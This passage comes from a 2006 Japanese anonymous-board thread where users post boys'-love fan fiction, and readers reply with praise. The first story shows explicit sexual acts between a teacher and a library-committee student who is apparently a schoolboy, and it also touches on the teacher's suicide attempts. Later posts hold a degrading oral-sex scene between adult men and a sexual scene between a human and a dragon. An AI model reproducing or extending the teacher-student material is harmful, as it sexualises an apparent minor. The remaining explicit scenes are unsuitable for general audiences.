それを少し強めに捏ねて、敏感に跳ねる体をクドウは愉しんだ。
体勢のため目の前にある赤く染まった耳には悪戯するように息を吹きかけ、
そのまま意識的に音をたてながら執拗に舐めていく。
イトシキはそこで苦しそうに振り返り、縋るような目でクドウを見た。 <> 図書委員×ネガティブ教師4<>sage<>2006/10/24(火) 22:09:00 ID:exK+spG80<> 「く、くどぉ、君……っ」
「何ですか?」
「みみ……耳、を、舐めるの…を……やめてくださ……っ」

耳を責められると弱いらしく、普段よりも明らかに興奮している。
それでも必死にやめてくれと哀願する彼に、クドウは目を細め素直に頷いた。

「わかりました」

そして、今度は舐める代わりに耳朶を甘く噛む。

「……っわかって、ないじゃないですか……あぁっ」

優しい態度で意地の悪いことをするクドウにイトシキはまたしても軽く絶望したが、
お約束の台詞を口にする前に性器を強く擦られただ単に喘いだだけに終わってしまった。
逃れるようにして弱々しく頭を振る彼は、近付きつつある限界に荒くなる呼吸を内心で恥じる。
そんな彼の耳を、今度は舐める行為でも甘噛みする行為でもなく意外な言葉が刺激した。

「先生、僕お話考えたんです」
「え……?」

それは読書家でありまた自ら物語を創作するのにも長けた才能を持っているクドウが
自分の作った物語を披露する際によく口にするセリフだった。
だがその普段と同じ言葉やトーンは今この状況においてはあまりにも場違いで、
既に快楽に溺れていたイトシキはわけがわからず気の抜けた声を返すぐらいしかできない。
そんな彼を気にするでもなく、クドウは尚も普段通りの口調でその「お話」を語り始めた。
イトシキの体を愛撫する手は止めずに。 <> 図書委員×ネガティブ教師5<>sage<>2006/10/24(火) 22:09:47 ID:exK+spG80<> 「『うさぎのせんせい』」
「んっ……はあ、あ……っなに……何、なんですか……?」
「あるところに、うさぎの先生がいました。先生はいつも何かに悲しんでいました」
「くどう……、くん……っ」

クドウはやわらかな響きの声で、彼が得意とする童話のあらすじを語る。
イトシキは絶えず与えられる刺激に喘ぎながら、耳に入ってくるそのあらすじを朦朧としながら聴いていた。

「心の弱い先生は悲しいことがあるとすぐに自分で自分を殺そうとします。
だけど結局いつも失敗して、みんなと一緒に毎日を過ごしていました。
そんな先生のまわりには色んなどうぶつがいます。
虎やライオン、リスにクマ、小鳥にたぬき、先生の家族のうさぎもいます」

今度の童話の主人公であるうさぎの先生が自分を連想させているということはこの時のイトシキにも理解できた。
ただ、あえて今この状況でそんな童話を作り話し始めたクドウの意図は全く理解できないが。

「ある日のことでした。
いつも自分を殺すことに失敗していた先生が、とうとうそれに成功したのです」
「……っ」
「先生のまわりにいたみんなは泣きました。
そして、その中にいた一匹も、死んでしまいました。
体は生きているけれど、心が死んでしまったのです」

そこまで語ると、クドウはイトシキの肩口に噛み付いた。歯型が残る。
イトシキの顔が痛みに歪んだ。だがクドウはそのまま手の中にあるイトシキの性器を
一気に絶頂まで昇りつめさせるべく一層激しさを増した手つきで扱いた。 <> 図書委員×ネガティブ教師6<>sage<>2006/10/24(火) 22:11:11 ID:exK+spG80<> 「あ、あっ、くど……あ、っはあ、あ、あぁ……っ!」

イトシキが射精したのはそれからすぐだった。
駆け足で迎えた絶頂の余韻に浸りはあはあと荒い呼吸を繰り返す彼に、クドウがそっと囁く。

「先生、俺のもお願いします」
「……はい……」
「口で」
「…………はい……」

太腿に押し当てられたクドウの性器は硬く勃起している。
イトシキは新たに顔を赤くしつつも素直に頷いた。




「クドウくん、さっきの童話の続きはどうなるんですか?」
「ききたいですか?」
「……はい」

お互いに落ち着きを取り戻した後、イトシキはクドウに先ほどの童話の続きを求めた。
朦朧としながらも耳に入ったあらすじは、自分──否、うさぎの教師が死んで残された動物たちのうちの
一匹の心が死んだと語られたところで中断している。元々クドウの作る創作ストーリーに弱いイトシキだが、
今度の話は自分を重ねられて作られているのが明らかなだけに更に気になるのだ。

「続きはほとんど無いですよ」
「え?」
「……うさぎの先生が死んでしまった後、みんなは悲しみました。
そして、その中の一匹の心も死んでしまいました。
その一匹は死んでしまった先生のことをずっと忘れられずに、
悲しい悲しいと思いながら生きていくことしかできなくなりました」
<> 図書委員×ネガティブ教師7<>sage<>2006/10/24(火) 22:11:52 ID:exK+spG80<> 「…………」
「……はい、おしまい」

続きを話し終えたクドウはやっぱりいつも通りの、柔和な表情だった。
黙り込んでしまったイトシキを、黙ってみている。

「……天才ストーリーテラーともあろうクドウ君にしてはツメが甘いですよ」
「そうですか?」
「ええ、だって私にはその物語の続編がわかるんですから」
「続編?」
「先生がいなくなったことで心が死んでしまったその一匹も、
そのうち新たに大事な出会いを果たすんです。そして心も生き返って。
死んでしまった先生のことも、やがて忘れられるんです」

そう言って、イトシキは俯いた。自分の言葉に自分で傷付いている。
とことんネガティブな人だ、とクドウは思った。だけど、そんなだから放っておけないとも。

「ねえ先生」
「……何ですか?」
「僕はね、本を読むことが一番好きです」
「知ってますよ。世界中の本を読み尽くしたいほど大好きなんでしょう?」
「そうです。多分、先生といるよりも本を読むことの方が好きです」

クドウがそう言うと、イトシキは一瞬の間の後に「そうでしょうね」と笑顔で返す。
その笑顔は、人の何倍も何十倍も絶望を繰り返してきた彼がこれまで見せたどの瞬間よりも
深く絶望している表情のように、クドウの目には映った。
<> 図書委員×ネガティブ教師8<>sage<>2006/10/24(火) 22:12:59 ID:exK+spG80<> 「先生、今すごく絶望したでしょう」
「してません」
「してましたよ」
「……してません」

二度目の否定は、一度目ほどはっきりしていなかった。
それはクドウの指摘が間違いではないということを明確にしてしまっている。
だから、彼は笑った。

「でもね先生、可能性はあると思うんです」
「……何の話ですか」
「だから、今はまだ僕の中では本を読むことの方が大事だけど、
これから先生と一緒にい続けることで順位が変わってもおかしくないってことです」
「…………」
「でも僕の読書好きは自分で言うのもなんだけど筋金入りだから、
ちょっとやそっとじゃ揺るがないと思うんです。
だから先生は、僕の中の一番になるためにこれまらまだまだ生きててください」

クドウの言葉に、イトシキはぽかんと口を開け呆気にとられていた。
なんだかものすごく勝手で強引な言葉ではないかとそう思ったからだ。
それでも、そんな勝手で強引な言葉でなぜか先ほどの絶望感が消えているのを彼は自覚する。
<> 図書委員×ネガティブ教師9<>sage<>2006/10/24(火) 22:13:47 ID:exK+spG80<> 「私は……私は多分、これからも何度も色々なことに絶望して、そしてきっと死のうとしますよ。
クドウ君の本好きと同じで私の絶望癖も筋金入りだと思いますから」
「だから絶望したら僕のところにくればいいじゃないですか、今日みたいに」
「え?」
「先生、今日は一旦帰りかけたのに途中で中古ゲームのことで絶望して、
それでまたわざわざ僕のところまで戻ってきたでしょ?」
「そ、れは……」
「いつでもお話聞かせてあげるし、構ってあげますよ。だから」

生きててくださいね。
そう言ったクドウの声はひどく優しいものだった。
鼻の奥がツンとなったイトシキはこうしてすぐに泣くのも良くない癖だと思い至り
泣きそうにあんった自分を抑え、それから少し震えた声で「ありがとうございます」と呟いた。




□ STOP ピッ ◇⊂(・∀・ )アリガトウゴザイマシタ
<> 風と木の名無しさん<>sage<>2006/10/24(火) 22:29:23 ID:8oQQ+K5M0<> 思わず目から水が出てしまった!
おのれストーリーテラーめ!

GJ! <> 風と木の名無しさん<>sage<>2006/10/24(火) 23:16:48 ID:GiQtZ5Ev0<> ゼツボー先生ktkr! <> 風と木の名無しさん<>sage<>2006/10/25(水) 01:34:24 ID:lZHPY0Hz0<> クドウ君は天才ストーリーテラーだな
だが>>434はもっと天才だ!
GJ!! <> 風と木の名無しさん<>sage<>2006/10/25(水) 02:18:44 ID:MQThoi9l0<> >>420
GJ!!GJ!!!
22話(だっけ?)の艦長の戦闘シーン以来
あの二人に萌えていました。ぐら豆腐ばんざい!! <> 風と木の名無しさん<>sage<>2006/10/25(水) 21:32:35 ID:nHpSIf4G0<> >>434GJ
萌えました(*´Д`)ハァハァ <> 風と木の名無しさん<>sage<>2006/10/25(水) 22:19:59 ID:JPBorpPc0<> >434
知らなかったのに元作品を猛烈に読みたくなった…… <> 風と木の名無しさん<>sage<>2006/10/25(水) 23:52:05 ID:ZhEpdpLU0<> >449
是非是非 <> 風と木の名無しさん<>sage<>2006/10/26(木) 06:15:58 ID:/8pwU5Dr0<> >434
GJ!
コミックス揃えたくなった <> 風と木の名無しさん<>sage<>2006/10/26(木) 12:56:14 ID:n/025lH30<> |>PLAY ピッ ◇⊂(・∀・ )ジサクジエンガオオクリシマス 某ゲイニソさんです、すいません

「んー…」
ふと目が覚めた。
しかしそれは一瞬のことで、すぐに瞼が重くなる。
もう一眠りしよう。そう思って目を閉じた。
「寝んの?」
突如、上から声が降ってきた。隣で寝ていた人の声。
「…起きてたの?」
寝起きだからだろう、自分の声はくぐもっていた。
「バカ、今何時だと思ってんだよ」
笑いを含んだ声で隣の人は言った。
「何時…?」
「11時」
「嘘…」
今日は一日休みだ、しかし、朝寝坊は良くない。
起きようかと思ったが、余りにも眠かった。
「ほら、起きろ」
「眠い…今日は寝る」
「起きろって」
隣の人は俺の身体をぐらぐらと揺さぶる。
「起きろー」
「起きない…」
「仕方無いな、一瞬だけ目開けてろ」
にやり、と笑うと隣の人はふっと俺の上に覆い被さる。
そして、言ったとおり一瞬だけ、キス。
「ちょ、わ、…ん」
「目、覚めたろ?」
「…覚めた」
「よし、何かメシ作ってやるよ」
俺は、台所ヘ向かう彼の後姿を見つめた。 <> 風と木の名無しさん<>sage<>2006/10/26(木) 12:57:44 ID:n/025lH30<> □ STOP ピッ ◇⊂(・∀・ )イジョウ、ジサクジエンデシタ…失礼しました。 <> 風と木の名無しさん<>sage<>2006/10/26(木) 13:28:26 ID:Kp/XzS470<> ゲイニソの意味あんの? <> 風と木の名無しさん<>sage <>2006/10/26(木) 14:28:27 ID:VnsWDcE50<>
 ____________
 | __________  |
 | |                | |      毒舌Kさん×職人Pさんリバ風味。
 | | |> PLAY.      | |
 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

元ネタなんか原型も留めてないようなブツですが…
つぅか454の言うとおり元ネタほぼ意味ないかも…スマソ <> 1/3<>sage <>2006/10/26(木) 14:30:06 ID:VnsWDcE50<>
「咥えろ」
頭を押さえつけられ、昂ったモノに唇が触れる。
天を向いたそれは妙に熱くて、その熱さに唇が火傷してもおかしくはない。
なんて馬鹿な事を考えながら、オレは強い力でオレの頭を押さえつける手の持ち主を見上げた。
普段はとても温厚で、人当たりが良くて、面倒見が良くて、優しいやつ。
我儘で、自分が一番で、余計なことばかりして怒られるオレとは大違い。
いつもいつも、自分が疲れてる時だって他人を優先して、他人を気遣って。
いつもいつも、明るくて、優しくて、笑顔を絶やさない。
そんなあんたが。
「どした?早く咥えてしゃぶれよ、ほら」
ぐいと腰を動かし、先っぽをオレの口に擦り付ける。
生臭い匂いにオレが呻いて顔を歪めたら、あんたはとても満足そうに、嗤った。
いつもと違う笑顔。
違う。
あんたはそんな顔で笑わない。 <> 2/3<>sage <>2006/10/26(木) 14:30:35 ID:VnsWDcE50<> 皆と一緒なら、もっと綺麗な笑顔で笑うんだ。
オレが馬鹿やった時も、我儘言った時も、皆とはしゃいでる時も、仕事が上手くいった時も、
もっと穏やかで、ほっとするような優しい顔で笑うんだ。
そんな顔で笑ったりしないんだ。
オレを嘲るような目なんかしない。
いやらしく口を歪めたりしない。
軽蔑混じりの視線でオレを見たりしない。
そんな顔しない。

そんな歪んだ笑顔なんか。

しない。

知らない。

皆知らない。

「……何呆けてんだ。おい、こら」
髪を引っ張られて、オレはおずおずとあんたのモノに舌を伸ばした。
べちゃりと淫猥な水音を立てて嘗め回せば、あんたはうっとり目を閉じ、身震いする。
「ん、……はは、やっとやる気になったのか?」
帰ろうかと思ったぜとぼやくあんたのモノを口に含み、じゅるじゅる音をたてて吸いながらオレはまた考えた。 <> 3/3<>sage <>2006/10/26(木) 14:31:52 ID:VnsWDcE50<> あんたはオレだけを軽蔑する。
オレだけに酷いことをする。
オレだけに歪んだ顔を見せる。
皆には無条件に優しいのに、オレだけに冷たい。
皆には酷いことしないで。軽蔑しないで。綺麗な笑顔を向けるのに。
オレだけ。
オレだけ。
じゅ、と一際強く吸えば口の中で熱い塊がびくびく跳ねる。
絶頂が近いのか。そう考えたオレは一番イイ所を舌でつつき、しゃぶり、追い詰めた。
あんたはオレの舌の動きに合わせてゆらゆら揺れる。
「ん、……あぅ、……く」
乱れた吐息と上気した頬が艶かしいと思う。これも皆には見せない表情なんだろうか。
そんなオレの視線に気付いたのか、あんたは目を開けた。
突然目が合って、どぎまぎするオレに、あんたは歪んだ顔で嗤いかける。
「……あー、何見てるんだお前?気持ち悪ぃなぁ!」
げらげら、下品な笑い声が耳に刺さる。

嗤う嗤う嗤う。
オレをあんたは嗤う。
歪んで壊れた顔で。
でも。

「あ、ぅ……やば、いッ……っ!」
どく、と口の中で張り詰めたモノが弾けるのを感じながらオレは思う。

その顔をしている時だけは、あんたはオレのものだよな?

口内にぶち撒けられたモノ飲み込んで、オレは愉悦に蕩けたあんたの頬に口付けた。 <> 3/3<>sage <>2006/10/26(木) 14:32:34 ID:VnsWDcE50<>  ____________
 | __________  |
 | |                | |    ダレダコイツラ…
 | | □ STOP.       | |
 | |                | |           ∧_∧ 
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

踊らされていると分かっていても萌えてしまった漏れの負けorz
夢の共演に悶えまくったよ…ありがとう某スタジオ日本。

お目汚し失礼しました!
<> 風と木の名無しさん<>sage<>2006/10/26(木) 22:05:07 ID:HiMpjFrF0<> ドラッグオソ ドラグーソ カ仏×アソヘル

                    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  人×人外、触手気味
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  設定捏造スマソ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ イイニオイガシマス
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
<> 1/5<>sage<>2006/10/26(木) 22:06:47 ID:HiMpjFrF0<> エルフの谷の帝国軍を一掃した一行は、神殿跡の廃墟で夜を明かすことにした。
慣れぬ魔導士との戦いで、みな疲弊していた。レ オナールとヴェノレドレが
煮炊きをしている。その横では、セヱレが早くも、すやすや眠っている。彼が
安心していられるのは、“鍵”の呪文でアリ オーシュの動きが止められている
からだ。その周りを、やーいやーい、とフェ アリーが飛び回る。

カ仏はというと、近くの川で返り血を落としていた。ついさきほどまで、この川の
岸辺で戦っていたというのに。
鎧のパーツ一つ一つを、ボロ布でぬぐう。帝国軍兵の汚い返り血など、カ仏自身は
気にしない…というより、むしろ戦意を高揚させられるものなのだが、仲間に諭され、
めんどくさがりながらも鎧の手入れをしているのであった。

鎧にこびりついた血があらかた落ちたところで、川岸に寝そべっていた赤竜が、ふああ、
とあくびをあげた。誇り高き竜らしからぬ行為である。
「おぬし、鎧なんぞにどれだけ時間をかける気か。まずは自分を洗うべきであろう」
そう言われて初めて、カ仏は自分自身も返り血ですっかり汚れていることに気付いた。
髪の毛などパリパリに固まっている。
今回の戦いでは、敵が魔法を防ぐ装備をつけていたため、いきおい力任せの接近戦が
主体となっていた。たっぷり返り血を浴びるはずである。
しかたないな、と“声”で竜に答えると、カ仏は服を脱ぎ始めた。あっという間に
一糸まとわぬ姿となって、川に飛び込んだ。川の冷たい水に潜り、体中をこすると、
あたりの水は墨を落としたかのように真っ黒になってしまった。
「ああ、元は王子というものが…」
毎度の事ながら、カ仏の行動には驚かされる。人間というモノについて、赤竜は
すっかり興味を深めていた。 <> 2/5<>sage<>2006/10/26(木) 22:07:48 ID:HiMpjFrF0<> カ仏が水面に顔を出し、ぷはあと息を吐く。カ仏は赤竜の力を得るために、自分の声を
失っていた。赤竜や仲間とは、“声”…いわゆる心の声でもって会話をしていた。
声は無くとも、こういう音は出せるのだな。カ仏は髪の水を絞りながら、赤竜に語り
かけた。川から上がろうとした、その時。
「…待て。そのまま動くでない」
赤竜の声が、カ仏を威圧する。敵か、と身構えたカ仏だが、辺りにそれらしき気配は
無かった。

じっと身構えたまま、時間が過ぎる。川のさらさらと流れる音だけが響く。赤竜が何を
考えているのかはわからないが、冗談やおふざけを言っているのではないようだ。
赤竜の顔は、屹然としてカ仏に向けられている。
“いったい何だ”
語りかけるカ仏に、赤竜は答えない。不意に、首を向こうに回し、そのまま寝そべって
しまった。

いくら竜が不遜な種族でも、こう意味不明の行動を取られてはたまらない。あのなあ、
と怒りの言葉を吐こうとしたカ仏は、体の違和感に気付いた。

赤竜と交換した心臓が、熱い。脈拍と同時に、下肢がうずく。このうずきには覚えが
あった。
“これ、は…”
まさか。まさか竜たるものが。
だが、体を走る感覚は確かなものだった。そして赤竜は、カ仏を見ぬようにしている
かのごとく、身を縮こませていた。 <> 3/5<>sage<>2006/10/26(木) 22:08:37 ID:HiMpjFrF0<> “おまえ、まさか欲情して”
「それ以上言うでないっ!!」

カ仏のあまりの言い様に、赤竜も怒鳴るしかなかった。

「我とて…我とて、このようなざまは…」
孤高の種族である竜が、人間の男に欲情するなんて。常識では考えられぬ事である。
だが、カ仏が川から上がり、一歩一歩近づくほど、赤竜の鼓動は高まる。
“どうすればいいんだ”
首筋に触れたカ仏の手は、温かいのか冷たいのかわからなかった。髪や体から水が
したたり落ちている。カ仏はそのままそっと、赤竜の首に体をあずけた。
“お前が我慢しているのは、俺も辛い”
カ仏にしては、優しい声色。体のうずきは、甘いものへと変わっていた。

竜は単一性の生物。交尾の際には二頭の竜が争い、勝者が雄としてまぐわうと言われて
いる。ならば赤竜には、雄の能力と雌の能力が備わっているはずだ、とカ仏は考えた。
“どっちだ?”
カ仏の問いに、赤竜はそろそろと姿勢を変える。すると、下半身に屹立する男根様の
器官があらわになった。 <> 4/5<>sage<>2006/10/26(木) 22:09:20 ID:HiMpjFrF0<> 大きい。あまりにも大きい。

竜の交尾とは戦争のようなものではないか。カ仏の思考はあさっての方向に飛んでいた。
これをどう鎮めろというのか。

「このような姿をこれ以上見せたくはない…放っておいてくれぬか」
だが、赤竜の興奮はカ仏の心臓を通して、切ないほどに伝わっていた。カ仏は無言で、
その器官へと近づく。

そして、“それ”に寄り添い、口付けをした。
「!? なっ、何をする!!」
赤竜の体が、わずかに跳ねる。おぬし正気か、と問う赤竜に、カ仏の視線が返される。
まっすぐな瞳であった。
「…大馬鹿者め。勝手にするがよい」
そう言いながらも、カ仏を押しつぶさないように、そして咆哮を抑えられるように、
赤竜はうずくまった。

それを承諾の意と取ったカ仏は、赤竜のそれに、そろそろと腕を這わした。人間のもの
とは形もずいぶんと異なる。どこを触れば“良い”のか、わずかな兆候も見逃さぬよう、
丁寧に撫でていく。 <> 5/5<>sage<>2006/10/26(木) 22:10:11 ID:HiMpjFrF0<> 「…ううっ…」
一箇所二箇所、赤竜の反応が高まる場所があった。ひだを指で摘み、先端の孔を舌で
なぞる。赤竜は必死に声をこらえている。だがもはや、カ仏自身の興奮も抑えられぬ
状態にあった。カ仏の声なき吐息が、赤竜の劣情を刺激する。

何故こんな事をしている。これも、契約者だから、か?

そう自問しながら、カ仏は上半身全てで赤竜のものを掻き、吸い付き、舌を這わせて
いた。答えなど知れている。

赤竜の鼓動がカ仏の鼓動を、カ仏のうずきが赤竜のうずきを、極限へと高めていた。
もはや限界も近い。
「ぐっ…ああ…もう…」
カ仏は赤竜のそれを、ぎゅっと抱きしめた。それを合図とするかのように、赤竜の
ものはビクビクと跳ね、白濁した液体を吐き出した。がああっ、と押し殺した声で
赤竜が吼える。

無言の痙攣が尾を引き、数瞬が過ぎ去った。事後の余韻に、赤竜もカ仏も息を弾ませて
いる。赤竜から搾り出された大量の液体、カ仏はそのほとんどをかぶり、全身を
ドロドロに包まれていた。

“前が見えん”

「川はそっちだ。…馬鹿者。」

ふらふらと、再び川に入るカ仏。彼を見つめる赤竜の目は、いつになく優しかった。 <> お目汚ししました<>sage<>2006/10/26(木) 22:11:29 ID:HiMpjFrF0<>
 ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ オガーザーン!
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
<> 風と木の名無しさん<>sage<>2006/10/27(金) 00:23:17 ID:sfhny3gdO<> >>466

GJ神
このような所でこの作品に出会えるとは…!(つд`)テラウレシス <> 風と木の名無しさん<>sage<>2006/10/27(金) 13:05:20 ID:qsc3jZn70<> >466
赤竜受萌えとしてものすごく萌えさせてもらった。gj!!
淡々としたカ仏かわいいなー! <> 風と木の名無しさん<>sage<>2006/10/29(日) 22:47:53 ID:VS3eSTBh0<>  ____________
 | __________  |
 | |                | |      お$スピンoff ちみっこ弁護士×士農田。
 | | |> PLAY.      | |
 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |

昨日の放送を見て、どうしても我慢できなくなりましたーー!
読みたい余りに自己発電してしまった…orz 
正直、自分のじゃ萌えない!

<> 469 <>sage<>2006/10/29(日) 22:52:18 ID:VS3eSTBh0<> す、スマソ!!
メモ帳に書いてたのを、そのままAAで上書きしてしもた!!!

上の流して下さい…orz
<> 469 <>sage<>2006/10/30(月) 00:29:08 ID:4UAXUxfc0<>  ____________
 | __________  |
 | |                | |      踊/るスピンoff ちみっこ弁護士×士農田。
 | | |> PLAY.      | |
 | |                | |           ∧_∧ ヒトリデコソーリミルヨ
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |


再度、書きなおして挑戦…orz
私、何やってんだろ…? <> 士農田×ちみっこ弁護士1<>sage<>2006/10/30(月) 00:32:06 ID:4UAXUxfc0<> 電子音の海の中を泳ぐような、ふわふわと浮いた足取りで、
我らが王子様が先頭をゆく。
右へ左へ身体を揺らし、時折リズムに乗っているかのようにタタタンと
踵を鳴らしてあっちこっち。
小さな歩幅で、せかせかふらふら歩くその姿は見ていて、どうにも
酩酊を誘う。
それから、一定のタイミングでこちらを振り返り、俺の顔を見て、
そこに存在している事を確かめると安心したような、
意味の分からない緩んだ笑みを浮かべて、また、ふらふらと歩き出す。
それ程一人になるのが怖いのかと思うと、手に負えないほどに甘えたがりの
小さな子供の面倒を見ているような心地になって、少しだけうんざりした。
近頃彼がご執心のゲームに意識の大半を集中させたまま歩く姿に、
俺は「前を向いて歩かないと転びますよ」と注意する。
「うるっさいよぉ。 今、いいとこなんだ」
そう憎憎しげに言い返し、顔を小さな画面に近付けて、背中を丸めて
ふらふらと歩く。
「このラスボスがさぁ、結構手ごわくってねー、
なっかなか倒せないんだよねぇ」
またも振り返り俺の顔を眺め、分かる?という風に小首を傾げた。 <> 士農田×ちみっこ弁護士2<>sage<>2006/10/30(月) 00:35:11 ID:4UAXUxfc0<> 俺はいつも通りの無反応。
されども、その俺のいつも通りに満足下さったのか、王子様は
「攻略法は分かってんだよ。 でもさぁ、面倒くさいの。 
攻撃するたびに弱点の属性を変えてくるからさぁ…」とそこまで言った所で、
「あっ!」と大声をあげ、「畜生!! マジかよ?! いいとこまで
いったのに!」と喚いた後、ゲーム機を握っている手を大きく振り回し、
ダン!!と癇癪交じりに地団駄を踏んだ。
どうも、電脳の世界はお気に召さない結果に終わったらしい。
「んだよぉ! 気分悪ぃなぁ!!」
大声で喚き、くしゃくしゃと開いている手で笑える位に
綺麗に整えてある髪の毛を掻き毟った後、俯いたまま数秒静止。
その後、ひょいと顔をあげて、何事もなかったかのように
「ねぇ、今から秋葉行きたい」と強請ってくる。
俺が、隣に立つシ可里予に顔を向ければ、鉄面皮の女は赤い唇を
ピクリとも動かさず首を二度、必要最小限の動きを見せながら振った。
「今から、S工産業の会長と打ち合わせの予定が入ってます。 
すぐ移動せねばならないので、諦めてください」
そう告げれば、眼鏡の奥の目を見る見るうちに不機嫌の形に変えて、
「なぁんだよぉぉ! どうせっ、あのくそじじぃの、くっそみたいな話
長々と聞かされるだけだろぉ? 士農田さんが話聞いといてよぉ!」と、
俺を指差しながら言ってくる。
その思い付きの言葉に、自分で頷きながら、「うん、そうだよ。 
何も僕が行く事ないんだ。 ねぇ、士農田さんだけで行ってきてよ」と
明るい声で言う彼をじっと、黙って見下ろせば、合わせている瞳が、
暫く後にゆらゆらと落ち着くなく揺れ始める。
「所長…」
低い声で呼びかければ、びくりと小さな肩が揺れて、それから、
ぐっと唇を噛むと、「…僕、あのクソジジィとは口利かないから、
士農田さんが全部喋れよ?!!」と怒鳴ると、フン!と鼻息一つ、
くるりと踵を返して、小走りになって一気に前に歩き去ろうとした。
「あ、転んだ」
何の感情も含まない声で、シ可里予が呟く。 <> 士農田×ちみっこ弁護士2<>sage<>2006/10/30(月) 00:38:10 ID:4UAXUxfc0<> 確かに、所長は、見事な位器用に、潰れた蛙のような姿で転倒した。
カツカツと高いハイヒールの音を立てて、シ可里予が所長の傍へ寄り、
細腕からは想像もつかないような力でその小柄な身体を引っ張り上げる。
所長は、泣きべそをかきそうな顔で痛みを堪えていたが、
「はーなぁせぇよぉ!」とシ可里予の手を振り払うと、ダン!!とまた、
床に当り散らし、足音荒くビルの外へと出て行った。
その背中を見送るシ可里予の隣に立てば、凍りついた無表情のまま
「所長、拗ねちゃいましたね。 士農田さんが叱るから」と呟く。
「叱る?」
言葉の語尾を上げて、疑問を表すると、「そんなつもりはないよ」と
俺は彼女の言葉を否定した。
「士農田さんの気持ちはともかく、あんな顔して呼びかけられれば
所長じゃなくても身が竦みます。 特に、所長は士農田さんに
叱られるのが一番怖いみたいですからね。 今度所長がおイタをした時は、
士農田さん、是非お仕置きにお尻ペンペンでもしてくださいな。 
そうしたら、何でも言う事を聞いてくれるようになるかもしれませんよ?」
冷静な声で、冗談とも本気ともつかない提案をしてくる彼女に、
俺は「ふむ」と一声零して顎を擦ると、「有意義な案として、
一考させてもらうよ」と冗談と本気の狭間の気持ちで答える。
すると彼女は、奇妙な笑みの形に唇を歪めると「…キヒヒヒ」と
高い声の笑い声を漏らす。
そして、また、さっと鉄面皮を被ると、俺と共に足早に
外に停めてある車の傍で、小石を蹴りながら退屈そうに俺達を待つ
所長の元へと向かった。
<> 士農田×ちみっこ弁護士4<>sage<>2006/10/30(月) 00:40:10 ID:4UAXUxfc0<> その後、所長は宣言どおり、一言もクライアントと口を聞く事はなかった。

S工産業本社ビルを辞してからの車内。
本当にこの男、尻が赤く腫れ上がるまで叩いてやろうかと思いながらも、
その感情を表情に載せることなく所長を見下ろす。
だが、そんな俺の気持ちに一切気付かず、此方を満面の笑みで見上げると
「ねぇ! 僕、ちゃんと我慢したよ?!」とはしゃいだ声で告げてきた。
腹立たしい気持ちは少なからずあるのに、その顔に勝てず、
俺は手を伸ばし、所長の頭を優しく撫でると「よく、できました」と
褒めてやる。
すると嬉しげな顔を見せ、「ね? アキバ行って良い?」と
再度強請ってきた。
俺は、数秒口を噤み、それから「行ってくれ」と運転席に座るシ可里予に
声を掛ける。
バックミラー越しに鋭い視線で俺を睨みながら、
「また、甘やかして」という風に眉を顰めた彼女は、それでも「はい」と、
声だけはいつもの、無機質極まりない耳障りの音で素直に返事を寄越した。
<> お目汚し致しました<>sage<>2006/10/30(月) 00:43:08 ID:4UAXUxfc0<>  ____________
 | __________  |
 | |                | |
 | | □ STOP.       | |
 | |                | |           ∧_∧ カキナオスホドノモノカ…?
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
しかも、番号付けすら間違ってるし…!
逝ってきまつ……orz
<> 風と木の名無しさん<>sage<>2006/10/30(月) 01:46:44 ID:0944VCin0<> 士農田さんとちみっこ弁護士、GJ!
テレビでやってたのをたまたま見てたら、ラスト近くの頭撫で撫でに禿げ萌えたので
ここで読めて嬉しいです。撫で撫で萌え。
<> 風と木の名無しさん<>sage<>2006/10/30(月) 02:24:59 ID:+926AUxG0<> テラモエス
録画してあるの見るのが楽しみになってきた <> 風と木の名無しさん<>sage<>2006/10/30(月) 04:08:53 ID:cRQsLFZbO<> 汚ドル番外編ドラマ、偲田×拝島。
